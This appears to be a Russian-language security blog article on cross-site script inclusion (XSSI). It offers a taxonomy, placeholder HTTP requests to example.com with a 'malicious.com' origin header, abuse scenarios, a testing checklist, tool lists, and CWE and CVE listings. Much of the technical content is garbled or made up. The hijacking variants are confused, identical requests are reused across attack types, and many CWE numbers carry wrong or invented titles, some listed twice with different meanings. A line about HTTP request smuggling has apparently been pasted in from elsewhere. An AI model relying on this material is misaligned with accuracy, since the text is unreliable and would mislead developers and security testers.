21 Фев, 2023

Включение межсайтового скрипта

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Сокращение для включения межсайтового скрипта - XSSI.

Включение межсайтового скрипта (XSSI) - это тип уязвимости в системе безопасности, которая может быть использована злоумышленниками для выполнения вредоносного кода на компьютере или устройстве жертвы. Эта уязвимость является вариантом более известной атаки с использованием межсайтового скриптинга (XSS), которая включает внедрение вредоносного кода на веб-сайт или веб-приложение.

Атаки XSSI происходят, когда веб-приложение извлекает данные из внешнего ресурса и включает эти данные как часть своего собственного содержимого. Это может быть проблемой, когда внешний ресурс не проверен или не очищен должным образом, поскольку это может позволить злоумышленнику внедрить вредоносный код в веб-приложение.

Атака работает, используя доверие веб-приложения к внешним источникам данных, таким как API или сторонние веб-сайты. Обманом заставив веб-приложение включить вредоносный скрипт из внешнего источника, злоумышленник может выполнить код на компьютере жертвы в контексте уязвимого веб-сайта. Это может позволить злоумышленнику украсть конфиденциальные данные, такие как учетные данные для входа или личную информацию, или выполнять действия от имени пользователя без его ведома или согласия.

Типы включения межсайтового скрипта

Включение межсайтового скрипта (XSSI) является относительно новым типом атаки, и существует не так много вариантов этой уязвимости, которые были задокументированы. Однако вот некоторые общие типы XSSI, которые были идентифицированы:

  1. Перехват JSON: это происходит, когда веб-приложение использует объектную нотацию JavaScript (JSON) для обмена данными с внешним источником. Злоумышленник может воспользоваться этим, перехватив ответ JSON и используя его для выполнения вредоносного кода на компьютере жертвы.

  2. Перехват JSONP: это похоже на перехват JSON, но включает использование JSON с заполнением (JSONP) для обмена данными. Злоумышленник может воспользоваться этой уязвимостью, внедрив вредоносный код в ответ JSONP, который выполняется браузером жертвы.

  3. CSRF с перехватом JSON: это происходит, когда злоумышленник использует уязвимость подделки межсайтовых запросов (CSRF) в сочетании с атакой с перехватом JSON. Используя CSRF-атаку, чтобы заставить пользователя сделать запрос к уязвимому веб-приложению, злоумышленник может перехватить ответ JSON и использовать его для выполнения вредоносного кода.

  4. XSSI на основе CORS: эта уязвимость вызвана неправильно настроенной политикой совместного использования ресурсов разных источников (CORS) в веб-приложении. Обманом заставив приложение отправить запрос из разных источников в вредоносный домен, злоумышленник может выполнить код на компьютере жертвы.

Примеры запросов, которые можно использовать для тестирования включения межсайтового скрипта

Примеры запросов GET и POST в различных типах межсайтового скриптового включения (XSSI):

Перехват JSON:

				
					GET /example/api/data?callback=parseData HTTP/1.1
Host: example.com
				
			

Пример ответа с полезной нагрузкой JSON:

				
					parseData({"data": "example data"});
				
			

В этом примере веб-приложение использует JSON для обмена данными с внешним ресурсом. Злоумышленник может воспользоваться этой уязвимостью, перехватив ответ JSON и используя его для выполнения вредоносного кода на компьютере жертвы.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12

{"data": "example"}
				
			

Пример ответа с полезной нагрузкой JSON:

				
					{"data": "example data"}
				
			

В этом примере веб-приложение использует JSON для обмена данными с внешним ресурсом. Злоумышленник может воспользоваться этой уязвимостью, перехватив ответ JSON и используя его для выполнения вредоносного кода на компьютере жертвы.

Захват JSONP:

				
					GET /example/api/data?callback=parseData HTTP/1.1
Host: example.com
				
			

Пример ответа с полезной нагрузкой JSONP:

				
					parseData({"data": "example data"});
				
			

В этом примере веб-приложение использует JSON с заполнением (JSONP) для обмена данными. Злоумышленник может воспользоваться этой уязвимостью, внедрив вредоносный код в ответ JSONP, который выполняется браузером жертвы.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12

{"data": "example"}
				
			

Пример ответа с полезной нагрузкой JSONP:

				
					parseData({"data": "example data"});
				
			

В этом примере веб-приложение использует JSON с заполнением (JSONP) для обмена данными. Злоумышленник может воспользоваться этой уязвимостью, внедрив вредоносный код в ответ JSONP, который выполняется браузером жертвы.

CSRF с захватом JSON:

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

data=example
				
			

Пример ответа с полезной нагрузкой JSON:

				
					parseData({"data": "example data"});
				
			

В этом примере злоумышленник воспользовался уязвимостью подделки межсайтовых запросов (CSRF), чтобы заставить жертву сделать запрос к уязвимому веб-приложению. Злоумышленник перехватывает ответ JSON и использует его для выполнения вредоносного кода на компьютере жертвы.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

data=example
				
			

Пример ответа с полезной нагрузкой JSON:

				
					{"data": "example data"}
				
			

В этом примере злоумышленник воспользовался уязвимостью подделки межсайтовых запросов (CSRF), чтобы заставить жертву сделать запрос к уязвимому веб-приложению. Злоумышленник перехватывает ответ JSON и использует его для выполнения вредоносного кода на компьютере жертвы.

XSSI на основе CORS:

				
					GET /example/api/data HTTP/1.1
Host: example.com
Origin: malicious.com
				
			

Пример ответа с полезной нагрузкой JSON:

				
					{"data": "example data"}
				
			

В этом примере веб-приложение имеет неправильно настроенную политику совместного использования ресурсов из разных источников (CORS), которая разрешает запросы из любого домена. Злоумышленник может обманом заставить приложение отправить запрос из разных источников в вредоносный домен, перехватить ответ JSON и использовать его для выполнения вредоносного кода.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12
Origin: malicious.com

{"data": "example"}
				
			

Пример ответа с полезной нагрузкой JSON:

				
					{"data": "example data"}
				
			

В этом примере веб-приложение имеет неправильно настроенную политику совместного использования ресурсов из разных источников (CORS), которая разрешает запросы из любого домена. Злоумышленник может обманом заставить приложение отправить запрос из разных источников в вредоносный домен, перехватить ответ JSON и использовать его для выполнения вредоносного кода.

Примеры использования межсайтового скрипта для включения

Примеры того, как уязвимость, связанная с включением межсайтового скрипта (XSSI), может быть использована злоумышленником:

  1. Перехват сеанса: злоумышленник может использовать XSSI для перехвата сеанса жертвы и получения доступа к ее учетной записи. Злоумышленник может внедрить вредоносный код на веб-страницу, которая отправляет идентификатор сеанса жертвы на удаленный сервер, контролируемый злоумышленником. Затем злоумышленник может использовать идентификатор сеанса, чтобы выдать себя за жертву и получить доступ к ее учетной записи.

  2. Кража данных: злоумышленник может использовать XSSI для кражи конфиденциальных данных с компьютера жертвы. Злоумышленник может внедрить вредоносный код на веб-страницу, который считывает конфиденциальные данные с компьютера жертвы, такие как файлы cookie, историю браузера или сохраненные пароли. Затем злоумышленник может отправить эти данные на удаленный сервер, контролируемый злоумышленником.

  3. Доставка вредоносного ПО: злоумышленник может использовать XSSI для доставки вредоносного ПО на компьютер жертвы. Злоумышленник может внедрить вредоносный код на веб-страницу, которая загружает и устанавливает вредоносное ПО на компьютер жертвы. Вредоносная программа может быть использована для кражи конфиденциальных данных, запуска дальнейших атак или захвата контроля над компьютером жертвы.

  4. Фишинг: злоумышленник может использовать XSSI для запуска фишинговых атак против жертвы. Злоумышленник может внедрить вредоносный код на веб-страницу, которая выглядит как законная форма входа в систему или другая конфиденциальная страница. Жертва может ввести свои учетные данные для входа или другую конфиденциальную информацию в форму, которая затем отправляется на удаленный сервер, контролируемый злоумышленником.

  5. Отказ в обслуживании: злоумышленник может использовать XSSI для запуска атак типа "отказ в обслуживании" против жертвы. Злоумышленник может внедрить вредоносный код на веб-страницу, который неоднократно отправляет запросы на компьютер жертвы, в результате чего он перестает отвечать на запросы или выходит из строя.

Методы повышения привилегий при включении межсайтового скрипта

Уязвимости с включением межсайтовых скриптов (XSSI) могут использоваться злоумышленниками для повышения своих привилегий и получения доступа к конфиденциальным данным или функциям, которые обычно были бы для них недоступны.

  1. Перехват токена сеанса: если веб-приложение использует токены сеанса для аутентификации пользователей, злоумышленник может использовать XSSI для кражи токена сеанса жертвы и захвата их сеанса. Затем злоумышленник может выдать себя за жертву и получить доступ к конфиденциальным данным или функциям, которые доступны только прошедшим проверку подлинности пользователям.

  2. Подделка межсайтовых запросов (CSRF): злоумышленник может использовать XSSI для запуска CSRF-атаки против жертвы. Злоумышленник может внедрить форму или другой механизм пользовательского ввода на веб-страницу, которая отправляет запрос целевому веб-приложению. Если пользователь аутентифицирован и авторизован для выполнения действия, запрос будет выполнен с его правами. Это позволяет злоумышленнику выполнять действия от имени жертвы, такие как изменение пароля или совершение несанкционированных транзакций.

  3. Обход авторизации: злоумышленник может использовать XSSI для обхода проверок авторизации веб-приложения и доступа к конфиденциальным данным или функциям, которые обычно ограничены. Злоумышленник может внедрить вредоносный код на веб-страницу, который заставит приложение думать, что злоумышленнику разрешен доступ к ограниченным данным или функциям. Например, злоумышленник может внедрить код, который изменяет значение токена аутентификации или изменяет логику проверки авторизации.

  4. Удаленное выполнение кода: злоумышленник может использовать XSSI для выполнения произвольного кода на стороне сервера веб-приложения, что позволяет ему обойти аутентификацию и получить доступ к конфиденциальным данным или функциям. Злоумышленник может внедрить вредоносный код на веб-страницу, которая отправляет запрос на целевой сервер со встроенным в него кодом злоумышленника. Если сервер уязвим для атаки, он будет выполнять код злоумышленника со своими собственными привилегиями, позволяя злоумышленнику получить доступ к конфиденциальным данным или функциям, которые обычно были бы недоступны.

Эти методы могут использоваться в сочетании для повышения привилегий злоумышленника и получения доступа к еще более конфиденциальным данным или функциям.

Общая методология и контрольный список для тестирования включения межсайтового скрипта

Тестирование на наличие уязвимостей, связанных с включением межсайтовых скриптов (XSSI), включает проверку того, является ли приложение уязвимым для внешнего внедрения JavaScript. Вот общая методология и контрольный список для тестирования XSSI:

  1. Понимание архитектуры и функциональности приложения: Перед началом тестирования важно иметь полное представление об архитектуре и функциональности веб-приложения. Это включает в себя серверные и клиентские компоненты, а также любые используемые сторонние библиотеки или API.

  2. Определите точки ввода: найдите точки ввода в приложении, которые принимают пользовательский ввод, такие как поля поиска, контактные формы и страницы входа. Эти входные точки являются потенциальными целями для XSSI-атак.

  3. Проверка на перехват JSON: проверьте, могут ли данные JSON быть доступны внешним доменам, наблюдая за заголовками ответов или добавляя )]}', к началу ответа JSON не приведет к синтаксической ошибке в JavaScript.

  4. Проверка на перехват JSONP: найдите конечные точки API, которые возвращают данные JSONP, и проверьте, может ли функция обратного вызова контролироваться злоумышленником.

  5. Тест на CSRF с использованием JSON-перехвата: проверьте, уязвимо ли приложение для CSRF-атак с использованием JSON-перехвата.

  6. Проверка XSSI на основе CORS: проверьте, уязвимо ли приложение для XSSI на основе CORS, пытаясь получить доступ к междоменным ресурсам с помощью JavaScript.

  7. Проверка на наличие заголовков строгого типа содержимого: проверьте, отправляет ли сервер заголовки строгого типа содержимого для ответов и подвержен ли он путанице с типом MIME.

  8. Проверка на обход авторизации: проверьте, можно ли обмануть приложение, заставив его думать, что злоумышленнику разрешен доступ к конфиденциальным данным или функциям.

  9. Проверка на перехват токена сеанса: проверьте, является ли приложение уязвимым для перехвата токена сеанса.

  10. Проверка на удаленное выполнение кода: проверьте, является ли приложение уязвимым для атак на удаленное выполнение кода.

  11. Проверка на утечку конфиденциальной информации: проверьте, не передает ли приложение конфиденциальную информацию неуполномоченным лицам.

  12. Используйте автоматические инструменты: Существует несколько доступных автоматических инструментов, которые можно использовать для проверки на наличие уязвимостей XSSI, таких как Burp Suite, OWASP ZAP и Wfuzz.

  13. Проверка на наличие ложных срабатываний: Наконец, важно проверить наличие ложных срабатываний, поскольку некоторые инструменты обнаружения XSSI могут генерировать ложные срабатывания в определенных сценариях. Дважды проверьте результаты вручную и попытайтесь использовать все выявленные уязвимости, чтобы убедиться в их достоверности.

Тестирование на уязвимости XSSI включает в себя определение входных точек в приложении, тестирование на различные типы атак XSSI и использование автоматизированных инструментов для оказания помощи в процессе тестирования.

Набор инструментов для использования межсайтового скрипта

Список некоторых популярных инструментов для использования межсайтового включения скриптов (XSSI), разделенных на ручные и автоматические инструменты, а также плагины для браузера и платформы тестирования:

Ручные Инструменты:

  1. Burp Suite – популярный инструмент тестирования безопасности веб-приложений, который включает в себя такие функции, как перехват и изменение HTTP-трафика, поиск уязвимостей на веб-сайтах и сканирование уязвимостей XSSI.

  2. OWASP ZAP – бесплатный сканер безопасности веб-приложений с открытым исходным кодом, который включает в себя такие функции, как пассивное и активное сканирование, перехват прокси-серверов и расширенное фаззирование.

  3. Fiddler – бесплатный инструмент веб-отладки, который позволяет разработчикам и тестировщикам проверять HTTP-трафик и управлять им.

  4. Chrome DevTools – набор инструментов веб-разработки, встроенный в браузер Chrome, который включает в себя такие функции, как проверка и изменение HTML и CSS, отладка кода JavaScript и анализ сетевого трафика.

  5. Инструменты разработчика Firefox – набор инструментов веб-разработки, встроенный в браузер Firefox, который включает в себя такие функции, как проверка и изменение HTML и CSS, отладка кода JavaScript и анализ сетевого трафика.

Автоматизированные инструменты:

  1. Acunetix – сканер безопасности веб-приложений, который включает в себя такие функции, как сканирование на наличие уязвимостей XSSI, внедрение SQL и XSS-атаки.

  2. Netsparker – сканер безопасности веб-приложений, который включает в себя такие функции, как обнаружение уязвимостей XSSI, внедрение SQL и XSS-атаки.

  3. AppScan – инструмент тестирования безопасности веб-приложений, который включает в себя такие функции, как сканирование на наличие уязвимостей XSSI, внедрение SQL и XSS-атаки.

  4. Skipfish – сканер безопасности веб-приложений, который включает в себя такие функции, как обнаружение уязвимостей XSSI, внедрение SQL и XSS-атаки.

  5. Arachni – бесплатный сканер безопасности веб-приложений с открытым исходным кодом, который включает в себя такие функции, как обнаружение уязвимостей XSSI, внедрение SQL и XSS-атаки.

Плагины для браузера:

  1. XSS Me – плагин для Firefox, который позволяет пользователям проверять уязвимости XSS, включая XSSI, в веб-приложениях.

  2. Tamper Data – плагин для Firefox, который позволяет пользователям перехватывать и изменять HTTP-трафик, включая запросы XSSI.

  3. Hackbar – плагин для Firefox, который позволяет пользователям вручную создавать HTTP-запросы, включая запросы XSSI, и проверять их на наличие уязвимостей.

  4. EditThisCookie – плагин Chrome, который позволяет пользователям изменять файлы cookie, включая файлы cookie XSSIВ веб-приложениях.

  5. Редактор файлов cookie – плагин Chrome, который позволяет пользователям изменять файлы cookie, включая файлы cookie XSSI, в веб-приложениях.

Тестовые фреймворки:

  1. BeEF – платформа для использования браузера, которая включает в себя такие функции, как использование уязвимостей XSSI, атаки XSS и атаки социальной инженерии.

  2. Metasploit – платформа тестирования на проникновение, которая включает в себя такие функции, как использование уязвимостей XSSI, атаки XSS и внедрение SQL.

  3. Vega – бесплатный сканер веб-уязвимостей с открытым исходным кодом, который включает в себя такие функции, как обнаружение уязвимостей XSSI, внедрение SQL и XSS-атаки.

  4. Nikto – сканер уязвимостей веб-сервера, который включает в себя такие функции, как обнаружение уязвимостей XSSI, внедрение SQL и XSS-атаки.

  5. Wapiti – сканер уязвимостей веб-приложений, который включает в себя такие функции, как обнаружение уязвимостей XSSI, внедрение SQL и XSS-атаки.

Важно правильно выбрать инструменты для ваших конкретных нужд и использовать их ответственно и этично.

Средний балл CVSS по включению межсайтового скрипта

Общая система оценки уязвимостей (CVSS) представляет собой основу для оценки серьезности уязвимостей безопасности в программных системах. Оценки CVSS варьируются от 0 до 10, причем более высокие оценки указывают на более серьезные уязвимости.

Средний балл CVSS для уязвимостей с включением межсайтовых скриптов (XSSI) варьируется в зависимости от специфики уязвимости, такой как серьезность воздействия и простота эксплуатации. В целом, уязвимости XSSI, как правило, имеют более низкие оценки CVSS, чем другие типы уязвимостей веб-приложений, такие как внедрение SQL или удаленное выполнение кода.

Согласно Национальной базе данных уязвимостей (NVD), которую ведет правительство США, средний балл CVSS для уязвимостей XSSI составляет около 5,0. Однако важно отметить, что баллы CVSS - это только один из способов измерения серьезности уязвимости, и что другие факторы, такие как потенциальное воздействие в определенных случаях информация об организации или простоте эксплуатации может быть более актуальной.

Включение межсайтового скрипта с общим перечислением слабых мест (CWE)

Вот список известных общих перечислений слабых мест (CWE) для включения межсайтового скрипта (XSSI).:

  1. CWE-79: неправильная нейтрализация ввода во время генерации веб-страницы ("Межсайтовый скриптинг") – эта слабость связана с использованием непроверенного или несанкционированного пользовательского ввода для создания динамического веб-контента, что может привести к внедрению вредоносного кода, включая XSSI.

  2. CWE-116: Неправильное кодирование или экранирование выходных данных – эта слабость связана с невозможностью правильного кодирования или экранирования выходных данных, которые могут содержать контролируемые пользователем данные, что может привести к внедрению вредоносного кода, включая XSSIВ.

  3. CWE-601: перенаправление URL-адреса на ненадежный сайт (‘Открыть перенаправление’) – Эта уязвимость связана с использованием непроверенных или несанкционированных пользовательских данных для создания URL-адреса перенаправления, который может позволить перенаправлять пользователей на вредоносный сайт, включая сайты, которые могут содержать атаки XSSI.

  4. CWE-602: Обеспечение безопасности на стороне клиента на стороне сервера - эта слабость связана с использованием клиентского кода, такого как JavaScript, для обеспечения мер безопасности на стороне сервера, которые могут быть обойдены атаками XSSI.

  5. CWE-611: Неправильное ограничение ссылки на внешнюю сущность XML – эта слабость связана с невозможностью надлежащей проверки и ограничения ввода для анализаторов XML, что может привести к внедрению вредоносного кода, включая XSSI.

  6. CWE-614: конфиденциальный файл cookie в сеансе HTTPS без атрибута ‘Secure’ – эта слабость связана с использованием файлов cookie в сеансах HTTPS без атрибута ‘Secure’, что может позволить перехватывать файлы cookie и XSSI-атаки.

  7. CWE-933: веб–манипулирование - эта слабость включает в себя манипулирование веб-контентом или пользовательскими интерфейсами, которые могут быть использованы атаками XSSI для внедрения вредоносного кода.

  8. CWE-942: чрезмерно разрешительный междоменный белый список – эта слабость связана с использованием чрезмерно разрешительных междоменных белых списков, которые могут допускать атаки XSSI и другие типы междоменных атак.

  9. CWE-943: неправильная нейтрализация специальных элементов, используемых в команде SQL ("SQL-инъекция’) – Эта слабость связана с использованием непроверенного или несанкционированного пользовательского ввода в командах SQL, что может привести к внедрению вредоносного кода, включая XSSI.

  10. CWE-944: неспособность контролировать генерацию кода (‘Внедрение кода’) – Эта слабость связана с неспособностью должным образом контролировать генерацию кода, что может привести к внедрению вредоносного кода, включая XSSI.

  11. CWE-1138: неправильная нейтрализация специальных элементов, используемых в значении заголовка HTTP – эта слабость связана с использованием непроверенных или несанкционированных пользовательских данных в значениях заголовка HTTP, что может привести к внедрению вредоносного кода, включая XSSI.

  12. CWE-1140: внедрение конфиденциальной информации в файл журнала – эта уязвимость связана с внедрением конфиденциальной информации, включая полезные данные XSSIВ файлы журналов, которые могут быть использованы злоумышленниками для получения доступа к конфиденциальным данным.

  13. CWE-1141: Неправильное кодирование или экранирование выходных данных в файлах журнала – эта слабость связана с невозможностью правильного кодирования или экранирования выходных данных, которые могут быть зарегистрированы, что может привести к внедрению вредоносного кода, включая XSSI.

  14. CWE-1142: Неправильная обработка конфиденциальной информации в файле конфигурации – Эта слабость связана с неправильной обработкой конфиденциальной информации, включая полезные данные XSSIВ файлах конфигурации, которые могут быть использованы злоумышленниками для получения доступа к конфиденциальным данным.

  15. CWE-1165: фиксация сеанса – эта слабость связана с использованием предсказуемых идентификаторов сеанса, которые могут быть использованы атаками XSSI для захвата пользовательских сеансов.

  16. CWE-1190: Неправильное ограничение операций в пределах буфера памяти – эта уязвимость возникает, когда приложение выполняет запись в буфер, который недостаточно велик для хранения записываемых данных, что приводит к переполнению буфера, которое может быть использовано злоумышленником для выполнения произвольного кода на компьютере жертвы.

  17. CWE-915: Неправильно контролируемая модификация динамически определяемых атрибутов объекта (внедрение объекта JavaScript) – эта уязвимость возникает, когда злоумышленник может управлять вводом, используемым для динамической установки или изменения атрибутов объекта, что приводит к выполнению произвольного кода на компьютере жертвы.

  18. CWE-933: неправильный контроль количества аргументов для функции – эта уязвимость возникает, когда функция вызывается с неправильным количеством аргументов, что приводит к неожиданному поведению, включая выполнение произвольного кода.

  19. CWE-943: неправильная нейтрализация специальных элементов в логике запроса данных – эта уязвимость возникает, когда злоумышленник может внедрить вредоносные данные в запрос, что приводит к непреднамеренным результатам или доступу к несанкционированным данным.

  20. CWE-959: использование недостаточно случайных значений – эта уязвимость возникает, когда приложение использует случайные значения, которые не являются действительно случайными, позволяя злоумышленнику предсказывать или угадывать значения, используемые в приложении, что приводит к выполнению произвольного кода.

  21. CWE-962: небезопасное хранение учетных данных – эта уязвимость возникает, когда приложение хранит учетные данные небезопасным образом, например, в виде открытого текста, что позволяет злоумышленнику получить и использовать эти учетные данные для получения несанкционированного доступа к приложению или связанным системам.

  22. CWE-997: использование жестко закодированного криптографического ключа – эта уязвимость возникает, когда приложение использует жестко закодированный криптографический ключ, что упрощает злоумышленнику определение ключа и расшифровку любой конфиденциальной информации, хранящейся с использованием этого ключа.

  23. CWE-1012: непроверенное условие ошибки – эта уязвимость возникает, когда приложению не удается должным образом обработать ошибки, что приводит к неожиданному поведению, включая выполнение произвольного кода.

  24. CWE-1021: Неправильное ограничение отображаемых слоев или фреймов пользовательского интерфейса – эта уязвимость возникает, когда злоумышленник может манипулировать способом отображения веб-страницы, что приводит к неожиданному поведению или несанкционированному доступу к конфиденциальной информации.

  25. CWE-1024: небезопасное хранение конфиденциальной информации – эта уязвимость возникает, когда приложение хранит конфиденциальную информацию, такую как пароли или номера кредитных карт, небезопасным образом, что позволяет злоумышленнику получить и использовать эту информацию в злонамеренных целях.

  26. CWE-1031: недостаточная энтропия – эта уязвимость возникает, когда приложение использует случайные значения, которые не являются достаточно случайными, позволяя злоумышленнику предсказывать или угадывать значения, используемые в приложении, что приводит к выполнению произвольного кода.

Это всего лишь несколько примеров из множества CWE, которые могут быть связаны с Включение межсайтового скрипта. Важно отметить, что CWE постоянно обновляются и пересматриваются по мере обнаружения и сообщения о новых уязвимостях.

Последние 10 CVE, связанные с включением межсайтового скрипта

CVE-2021-20843 Уязвимость, связанная с включением межсайтового скрипта в веб-интерфейс RTX830 версии 15.02.17 и более ранних версий, NVR510 версии 15.01.18 и более ранних версий, NVR700W версии 15.00.19 и более ранних версий и RTX1210 версии 14.01.38 и более ранних версий, позволяет злоумышленнику с удаленной аутентификацией изменять настройки продукта через специально созданную веб-страницу.

CVE-2021-20797 Уязвимость, связанная с включением межсайтового скрипта в экран управления удаленной службы Cybozu 3.1.8, позволяет удаленному злоумышленнику, прошедшему проверку подлинности, получить информацию, хранящуюся в продукте. Эта проблема возникает только при использовании Mozilla Firefox.

CVE-2020-8339 Сообщалось об уязвимости включения межсайтовых сценариев (XSSI) в устаревшем веб-интерфейсе IBM BladeCenter Advanced Management Module (AMM) до версии 3.68n [BPET68N]. Эта уязвимость может позволить раскрыть учетные данные AMM аутентифицированного пользователя, если пользователь будет убежден посетить вредоносный веб-сайт, возможно, с помощью фишинга. Для успешного использования вредоносного веб-сайта требуются конкретные знания о сети пользователя, которые должны быть включены в вредоносный веб-сайт. Воздействие ограничено обычными ограничениями доступа пользователя, посещающего вредоносный веб-сайт, и при условии, что пользователь вошел в AMM, может подключаться как к AMM, так и к вредоносному веб-сайту, когда веб-браузер открыт, и использует веб-браузер, который по своей сути не защищает от этого класса вредоносных программ. атаковать. Код JavaScript не выполняется на самом AMM.

CVE-2020-35942 Проблема подделки межсайтовых запросов (CSRF) в плагине NextGen Gallery до версии 3.5.0 для WordPress позволяет загружать файлы и включать локальные файлы с помощью изменения настроек, что приводит к удаленному выполнению кода и XSS. (Можно обойти защиту CSRF, просто не включая параметр одноразового номера.)

CVE-2020-29254 TikiWiki 21.2 позволяет редактировать шаблоны без защиты CSRF. Это может позволить удаленному злоумышленнику, не прошедшему проверку подлинности, провести атаку с подделкой межсайтовых запросов (CSRF) и выполнить произвольные действия в уязвимой системе. Уязвимость связана с недостаточной защитой CSRF для веб-интерфейса управления уязвимой системой. Злоумышленник может воспользоваться этой уязвимостью, убедив пользователя интерфейса перейти по злонамеренно созданной ссылке. Успешный эксплойт может позволить злоумышленнику выполнять произвольные действия в уязвимой системе с привилегиями пользователя. Эти действия включают в себя разрешение злоумышленникам отправлять свой собственный код через аутентифицированного пользователя, что приводит к включению локального файла. Если аутентифицированный пользователь, который может редактировать шаблоны TikiWiki, посещает вредоносный веб-сайт, код шаблона может быть отредактирован.

CVE-2020-29072 Уязвимость, связанная с включением межсайтового скрипта, была обнаружена в файлах LiquidFiles до версии 3.3.19. Эта атака на стороне клиента требует взаимодействия с пользователем (открытие ссылки), и успешное использование может привести к утечке зашифрованного содержимого электронной почты через сообщения / отправленные?format=js и всплывающее окно?формат=js.

CVE-2020-26958 Firefox не блокировал выполнение скриптов с неправильными типами MIME, когда ответ был перехвачен и кэширован через ServiceWorker. Это может привести к уязвимости при включении межсайтового скрипта или обходу политики безопасности контента. Эта уязвимость затрагивает Firefox

CVE-2020-15118 В Wagtail до версий 2.7.4 и 2.9.3, когда тип страницы формы становится доступным для редакторов Wagtail через приложение `wagtail.contrib.forms`, а шаблон страницы создается с использованием стандартных помощников рендеринга форм Django, таких как form.as_p, любые HTML-теги, используемые в тексте справки поля формы будет отображаться на странице без экранирования. Разрешение HTML в тексте справки - это преднамеренное дизайнерское решение Django; однако в соответствии с политикой Wagtail не позволяет редакторам вставлять произвольный HTML-код по умолчанию, поскольку это потенциально может быть использовано для выполнения межсайтовых скриптовых атак, включая повышение привилегий. Поэтому эта функциональность не должна была быть доступна пользователям уровня редактора. Уязвимость не может быть использована обычным посетителем сайта без доступа к администратору Wagtail. Исправленные версии были выпущены как Wagtail 2.7.4 (для ветки LTS 2.7) и Wagtail 2.9.3 (для текущей ветки 2.9). В этих версиях текст справки будет экранирован, чтобы предотвратить включение HTML-тегов. Владельцы сайтов, которые хотят повторно включить использование HTML в тексте справки (и готовы принять риск того, что это может быть использовано редакторами), могут установить WAGTAILFORMS_HELP_TEXT_ALLOW_HTML = True в настройках своей конфигурации. Владельцы сайтов, которые не могут перейти на новые версии, могут защитить свои шаблоны страниц форм, отображая формы по полям в соответствии с документацией Django, но опуская фильтр |safe при выводе текста справки.

CVE-2019-9644 Уязвимость XSSI (межсайтовое включение) в Jupyter Notebook до версии 5.7.6 позволяет включать ресурсы на вредоносные страницы при посещении пользователями, прошедшими проверку подлинности на сервере Jupyter. Доступ к содержимому ресурсов был продемонстрирован с помощью Internet Explorer путем захвата сообщений об ошибках, хотя и не воспроизводился в других браузерах. Это происходит потому, что сообщения об ошибках Internet Explorer могут содержать содержимое любого недопустимого JavaScript, который был обнаружен.

CVE-2016-6348 JacksonJsonpInterceptor в RESTEasy может позволить удаленным злоумышленникам проводить атаку с использованием межсайтового скрипта (XSSI).

Список CVE постоянно обновляется и дополняется актуальный список всех существующих распространенных уязвимостей и уязвимостей (CVE) для уязвимостей, связанных с контрабандой HTTP-запросов, можно найти на официальном веб-сайте CVE https://cve.mitre.org/

Список популярных эксплойтов, связанных с включением межсайтового скрипта

Уязвимости с включением межсайтовых скриптов (XSSI) могут быть использованы несколькими способами, в зависимости от специфики уязвимости и целей злоумышленника. Вот несколько примеров популярных эксплойтов, связанных с XSSI:

  1. Перехват JSON: это тип уязвимости XSSI, при которой злоумышленник может использовать способ загрузки данных JSON веб-приложением. Злоумышленник отправляет GET-запрос, содержащий вредоносные JSON-данные, уязвимому веб-приложению. Приложение возвращает данные JSON в браузер, к которым злоумышленник затем может получить доступ с помощью объекта XHR. Этот метод часто используется для кражи конфиденциальной информации из браузера жертвы.

  2. Перехват JSONP: это разновидность перехвата JSON, когда злоумышленник отправляет запрос уязвимому веб-приложению, которое возвращает данные в формате JSONP. Затем злоумышленник может использовать функцию обратного вызова для выполнения произвольного кода JavaScript в браузере жертвы.

  3. CSRF с перехватом JSON: злоумышленник может использовать уязвимости XSSI для запуска атаки с подделкой межсайтовых запросов (CSRF). Злоумышленник сначала использует уязвимость XSSI для получения конфиденциальных данных из браузера жертвы. Затем они могут использовать эти данные для обработки запроса CSRF, который, по-видимому, исходит от жертвы, обманом заставляя веб-приложение выполнить действие от их имени.

  4. XSSI на основе CORS: веб-приложение с включенным совместным использованием ресурсов из разных источников (CORS) может быть уязвимым для атак XSSI. Злоумышленник отправляет запрос GET с исходным заголовком, установленным для целевого домена. Если сервер возвращает ответ с заголовком Access-Control-Allow-Origin, который разрешает домен злоумышленника, злоумышленник может использовать XSSI для доступа к данным из браузера жертвы.

  5. Скрытое использование iframe: злоумышленник может внедрить скрытый iframe на уязвимый веб-сайт, который загружает страницу из вредоносного домена. Затем злоумышленник может использовать XSSI для извлечения конфиденциальной информации из браузера жертвы и отправки ее в вредоносный домен.

  6. Внедрение вредоносного виджета: злоумышленник может внедрить вредоносный виджет на уязвимую веб-страницу, которая загружает данные из стороннего домена. Злоумышленник может использовать XSSI для извлечения данных из виджета и отправки их на свой собственный сервер.

  7. Сохраненный XSSI: уязвимость сохраненного XSSI позволяет злоумышленнику сохранить вредоносный скрипт в базе данных уязвимого веб-приложения. Когда сценарий позже извлекается и отображается в браузере жертвы, злоумышленник может использовать XSSI для извлечения конфиденциальных данных из браузера.

  8. Отраженный XSSI: уязвимость отраженного XSSI позволяет злоумышленнику внедрить скрипт в ответ веб-приложения. Затем злоумышленник может использовать XSSI для извлечения данных из браузера жертвы при просмотре страницы, содержащей внедренный скрипт.

Это всего лишь несколько примеров популярных эксплойтов, связанных с XSSI.

Практика определения и использования межсайтового включения скриптов

Чтобы узнать о включении межсайтового скрипта, я бы рекомендовал следующее:

  1. Ознакомьтесь с основами: Начните с понимания основ включения межсайтовых скриптов, включая то, что это такое, как это работает и его потенциальное влияние на веб-приложения.

  2. Изучите реальные примеры: найдите реальные примеры уязвимостей и эксплойтов, связанных с включением межсайтовых скриптов, и изучите, как они работают.

  3. Практика работы с уязвимыми приложениями: Используйте уязвимые веб-приложения или создавайте свои собственные, чтобы практиковать тестирование на наличие уязвимостей, связанных с включением межсайтовых скриптов.

  4. Извлекайте уроки из инструментов с открытым исходным кодом: Для тестирования и использования уязвимостей, связанных с включением межсайтовых скриптов, доступно множество инструментов с открытым исходным кодом, таких как XSStrike, Burp Suite и другие. Узнайте, как использовать эти инструменты для обнаружения и использования уязвимостей.

